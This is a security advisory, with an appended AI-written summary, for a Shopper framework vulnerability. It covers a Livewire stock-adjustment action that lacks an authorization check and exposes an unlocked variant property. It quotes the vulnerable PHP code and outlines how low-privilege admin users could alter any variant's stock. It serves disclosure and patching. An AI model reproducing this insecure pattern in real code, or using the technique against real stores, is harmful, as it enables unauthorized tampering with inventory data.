Framework: Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component (CVE-2026-56829)
## Title Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component ## Description A lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `->authorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91` ```php // Line 34 - unprotected, client-mutable variant binding public $variant; // Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(__('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(__('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(__('shopper::pages/products.inventory_name')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(__('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); } ``` ## Steps to reproduce Prerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`).

AI Analysis
Technical Summary
The Shopper Framework's VariantStock Livewire component exposes a public $variant property without the #[Locked] attribute, making the variant ID client-mutable via Livewire payloads. The stockAction() method returns an Action without an authorization chain, enabling any authenticated admin user, regardless of their permissions, to adjust inventory levels for arbitrary product variants. This combination of missing authorization and unlocked model binding allows bypassing permission gates and redirecting stock mutations to any variant in the database. The vulnerability affects versions prior to 2.9.2.
Potential Impact
Any authenticated user with access to the admin panel, including those with only browsing permissions, can arbitrarily increase or decrease inventory stock for any product variant. This can lead to unauthorized inventory manipulation, impacting data integrity and potentially causing operational or financial damage.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade to version 2.9.2 or later where authorization checks have been implemented on the stockAction method and the variant property is properly locked. Until patched, restrict admin panel access to trusted users only.
